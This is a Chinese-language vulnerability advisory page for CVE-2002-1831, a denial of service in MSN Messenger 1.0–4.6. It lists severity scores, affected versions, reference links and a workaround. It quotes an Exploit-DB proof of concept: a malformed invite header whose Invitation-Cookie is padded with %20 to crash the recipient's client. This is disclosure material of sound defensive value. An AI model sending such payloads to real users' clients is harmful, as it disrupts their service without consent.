CVE-2002-1831
CVSS5.0
发布时间 :2002-12-31 00:00:00
修订时间 :2008-09-05 16:31:37
NMCOE    

[原文]Microsoft MSN Messenger Service 1.0 through 4.6 allows remote attackers to cause a denial of service (crash) via an invite request that contains hex-encoded spaces (%20) in the Invitation-Cookie field.


[CNNVD]Microsoft MSN Messenger处理畸形邀请请求拒绝服务攻击漏洞(CNNVD-200212-167)

        
        Microsoft's MSN Messenger是一款基于Windows系统的即时信息交互客户端程序。
        Microsoft's MSN Messenger在处理不正确邀请请求时存在漏洞,可导致远程攻击者进行拒绝服务攻击。
        攻击者可以通过发送不正常的邀请请求,如在头信息中的Invitation-Cookie字段包含多个HTML编码的空格(%20)字符,可以导致远程用户的MSN messenger崩溃。
        

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:microsoft:msn_messenger:4.6Microsoft msn_messenger_service 4.6
cpe:/a:microsoft:msn_messenger:2.0Microsoft msn_messenger_service 2.0
cpe:/a:microsoft:msn_messenger:4.5Microsoft msn_messenger_service 4.5
cpe:/a:microsoft:msn_messenger:3.0Microsoft msn_messenger_service 3.0
cpe:/a:microsoft:msn_messenger:3.6Microsoft msn_messenger_service 3.6
cpe:/a:microsoft:msn_messenger:4.0Microsoft msn_messenger_service 4.0
cpe:/a:microsoft:msn_messenger:1.0Microsoft msn_messenger_service 1.0
cpe:/a:microsoft:msn_messenger:2.2Microsoft msn_messenger_service 2.2

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1831
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2002-1831
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200212-167
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/4827
(UNKNOWN)  BID  4827
http://www.iss.net/security_center/static/9161.php
(UNKNOWN)  XF  msn-invite-dos(9161)

- 漏洞信息

Microsoft MSN Messenger处理畸形邀请请求拒绝服务攻击漏洞
中危 其他
2002-12-31 00:00:00 2005-10-20 00:00:00
远程  
        
        Microsoft's MSN Messenger是一款基于Windows系统的即时信息交互客户端程序。
        Microsoft's MSN Messenger在处理不正确邀请请求时存在漏洞,可导致远程攻击者进行拒绝服务攻击。
        攻击者可以通过发送不正常的邀请请求,如在头信息中的Invitation-Cookie字段包含多个HTML编码的空格(%20)字符,可以导致远程用户的MSN messenger崩溃。
        

- 公告与补丁

        临时解决方法:
        如果您不能立刻安装补丁或者升级,CNNVD建议您采取以下措施以降低威胁:
        * 不要在Microsoft MSN上随便接受别人的邀请请求。
        厂商补丁:
        Microsoft
        ---------
        目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        
        http://www.microsoft.com/technet/security/

- 漏洞信息 (21481)

Microsoft MSN Messenger 1-4 Malformed Invite Request Denial of Service (EDBID:21481)
windows dos
2002-05-24 Verified
0 Beck Mr.R
N/A [点击下载]
source: http://www.securityfocus.com/bid/4827/info

Microsoft's MSN Messenger is an instant messenging client for Windows based machines, based on the Passport system.

A vulnerability has been reported in some versions of MSN Messenger. Under some circumstances, it may be possible to crash the client when it receives a malformed invite request. By including a number of HTML-encoded space characters (%20) in the Invitation-Cookie field, and sending the header to a remote user, it is reportedly possible to crash a remote user's client. 

MIME-Version: 1.0
Content-Type: text/x-msmsgsinvite; charset=UTF-8

Application-Name: Remote Assistance
Application-GUID: {56b994a7-380f-410b-9985-c809d78c1bdc}
Session-Protocol: SM1
Application-URL: http://www.microsoft.com
Invitation-Command: INVITE
Invitation-Cookie: 54902160%20%20%20%20%20%20%20%20%20%20%
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20
Session-ID: {8B1BE64F-4019-489D-B1A3-EC0BA993651B} 		

- 漏洞信息

59664
MSN Messenger Service Invite Request Feature Invitation-Cookie Parameter Remote DoS
Remote / Network Access Denial of Service
Loss of Availability Solution Unknown
Exploit Public Uncoordinated Disclosure

- 漏洞描述

MSN Messenger Service contains a flaw that may allow a remote denial of service. The issue is triggered when a remote attacker sends an invite request that contains hex-encoded spaces (%20) in the Invitation-Cookie field., and will result in loss of availability for the service.

- 时间线

2002-05-23 Unknow
2002-05-23 Unknow

- 解决方案

OSVDB is not aware of a solution for this vulnerability.

- 相关参考

- 漏洞作者

 

 

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